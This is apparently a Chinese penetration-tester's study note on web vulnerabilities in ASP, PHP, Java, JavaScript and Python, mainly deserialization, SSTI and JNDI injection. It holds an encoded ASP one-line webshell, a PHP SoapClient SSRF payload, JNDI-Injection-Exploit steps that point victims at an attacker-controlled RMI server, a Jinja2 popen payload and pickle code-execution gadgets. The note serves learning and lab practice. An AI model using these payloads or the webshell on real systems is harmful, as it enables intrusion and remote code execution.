Web语言漏洞


一、asp漏洞

1 下载漏洞

Windows + IIS + ASP + access(sqlsever)搭建的网站

对于access数据库,一般后缀名是mdb、asp、asa,所以可能可以直接通过访问这个路径进行下载。(一般默认配置asp、asa会被解析,而mdb不会。所以直接访问mdb可能可以下载,而asp会回显结果)

例:PowerEasy_CMS2006可以访问:IP/database/powereasy2006.mdb

若不会下载,例如asp会被解析,则可以通过插入木马后用蚁剑连接。

asp一句话木马:┼攠數畣整爠煥敵瑳∨≡┩愾(unicode编码)

构造免杀的asp一句话木马 - 先知社区 (aliyun.com)

其他漏洞:

  • IIS PUT
  • IIS短文件名
  • IIS解析漏洞

aspx源码:

  • aspx的源码中的关键部分一般在.dll中,需要对.dll进行反编译后再分析源码(.NET框架用official::ILSpy分析源码)。

二、 PHP

1 代码审计

hongriSec/PHP-Audit-Labs: 一个关于PHP的代码审计项目 (github.com)

【漏洞复现】Metinfo6.0.0任意文件读取_metinfo漏洞-CSDN博客

2 反序列化

2.1 序列化知识

PHP序列化反序列化漏洞总结

序列化:serialize($class);

当序列化对象时,PHP在序列化动作之前调用该对象成员函数__sleep。这样就允许对象在被序列化之前做任何清除操作。

反序列化:unserialize($class);

若被序列化的变量是一个对象,在重新构造对象后,会自动调用__wakeup成员函数(如果有的话)。

序列化数据显示:

  • private属性序列化的时候格式:%00类名%00成员名
  • protect属性序列化的时候格式:%00*%00成员名

在php中,很多原生类会携带魔术方法,所以可以new一个原生类,通过修改参数进行漏洞利用。浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)

序列化前 序列化后
NULL N
boolean b:0,b:1
integer i:<num>
double d:<num>
string s:<length>:"<value>"
array a:<len>:{<key1><value1>...}
object O:<class_name_length>:<class_name>:<len>:{<field name1><field value1>...},只有属性没有函数
// 原生类查看(取消掉数组中的注释进行查看)
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
// '__destruct',
// '__toString',
// '__wakeup',
// '__call',
// '__callStatic',
// '__get',
// '__set',
// '__isset',
// '__unset',
// '__invoke',
// '__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

2.2 序列化利用

利用:

  • 更改对象的<len>值,当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。

PHP反序列化——字符逃逸漏洞(肯定能看懂的!)-CSDN博客

函数 作用
__construct() 构造函数,当对象new的时候会自动调用
__destruct() 析构函数,当对象被销毁时会被自动调用
__wakeup() unserialize()时会被自动调用
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 在对象上下文中调用不可访问的方法时触发
__callStatci() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
// 简单案例
<?php
class ease{
private $method;
private $args;
function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}
}

$a = new ease("ping",array("l''s"));
$b = serialize($a);
echo $b.'</br>';
echo base64_encode(serialize($a));

// 利用SoapClient自己访问自己
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

三、Java

1 JavaWeb

靶场:official::WebGoat

可能漏洞:

2 反序列化

2.1 序列化知识

JAVA反序列化漏洞原理分析-CSDN博客

函数接口: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject

数据出现:

  1. 功能特性:反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
  2. 数据特性(与PHP有区别):一段数据以rO0AB开头,基本可以确定这串就是JAVA序列化base64加密的数据。或者如果以aced开头,那么他就是这一段java序列化的16进制。也是初始化数据。
  3. 出现具体:http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含

发现:

  • 黑盒分析:数据库出现地-观察数据特性
  • 白盒分析:组件安全&函数搜索&功能模块

Java反序列化漏洞利用工具:

// 代码:序列化操作(把"xiaodi", 28, "男", 101保存到d:/person.txt中)
// 序列化的操作结果,生成aced开头的字节流
private static void serialPerson() throws IOException {
Person person = new Person("xiaodi", 28, "男", 101);

ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(new File("d:/person.txt"))
);
oos.writeObject(person);
System.out.println("person 对象序列化成功!");
oos.close();
}

// 反序列化操作:
private static Person deserialPerson() throws Exception {
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream(new File("d:/x.txt"))
);
Person person = (Person)ois.readObject();
System.out.println("person 对象反序列化成功!");
//Runtime.getRuntime().exec("calc.exe");
return person;
}



3 JNDI注入攻击

定义:JNDI(Java Naming and Directory Interface)攻击是一种利用Java命名和目录接口的攻击方式。攻击者利用JNDI对外部资源进行访问,例如LDAP服务器或其他远程资源,通过构造恶意数据来触发目标系统发起外部连接,从而实现攻击目的。

利用:

  1. 下载JNDI-Injection-Exploit:official::welk1n/JNDI-Injection-Exploit: JNDI注入测试工具 (github.com)

  2. 生成执行RMI Payload-URL(-C 执行命令 -A 自己服务器地址),java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A IP。生成后选择rmi://IP/ksvyoy

  3. 然后打开受害服务器地址:http://IP:PROT/h2-console/login.jsp?jsessionid=8cdecf52152246fdd719b88eb2a891d7,把rmi://IP/ksvyoy写到JDBC URL,把javax.naming.InitialContext写到Driver Class


四、JavaScript

1 js代码审计

直接在浏览器中通过关键字找到代码进行分析。

如何判定Js开发应用:

  • 插件wappalyzer
  • 源代码简短
  • 引入多个js文件
  • 一般有/static/js/app.js等顺序的js文件
  • cookie中有connect.sid

靶场:Vulhub - Docker-Compose file for vulnerability environment


五、Python

1 SSTI漏洞

漏洞成因:服务端接收了用户的恶意输入以后,未经任何处理就将其作为web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、Getshell等问题。其影响范围主要取决于模版引擎的复杂性。

模版框架:Flask、Jinja2、Django等。其他语言也存在,如PHP、Java、JS、Ruby等。

SSTI模板注入(Python+Jinja2) - 先知社区 (aliyun.com)

# python注入payload
{{"".__class__.__bases__[0].__subclasses__()
[128].__init__.__globals__[%27popen%27](%27dir%27)read()}}

2 反序列化

2.1 序列化知识

函数使用:

  1. 文件格式:

    • pickle.dump(obj, file):将对象序列化后保存到文件
    • pickle.load(file):读取文件, 将文件中的序列化内容反序列化为对象
  2. 字节流:

    • pickle.dumps(obj):将对象序列化成字符串格式的字节流
    • pickle.loads(bytes_obj):将字符串格式的字节流反序列化为对象

魔术方法:

  • __reduce__():在使用 Python 中的 pickle 模块时被触发
  • __reduce_ex__():反序列化时调用
  • __setstate__():反序列化时调用
  • __getstate__():序列化时调用

函数接口:pickle marshal PyYAML shelve PIL unzip

# __reduce__:序列化的时候会执行__reduce__中的代码,反序列化的时候会执行return中的代码
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))

a = A()
p_a = pickle.dumps(a) # 序列化操作
pickle.loads(p_a) # 反序列化操作
print('==========')
print(p_a)


# __setstate__:反序列化的时候被调用
class SerializePerson():
def __init__(self, name):
self.name = name

# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器


# __getstate__:序列化的时候被调用
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a) # 序列化
print('==========')
print(p_a)

2.2 序列化利用

# 利用反序列化执行恶意代码
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)

a = A(os.system, ('ipconfig',))
p_a = pickle.dumps(a)
pickle.loads(p_a)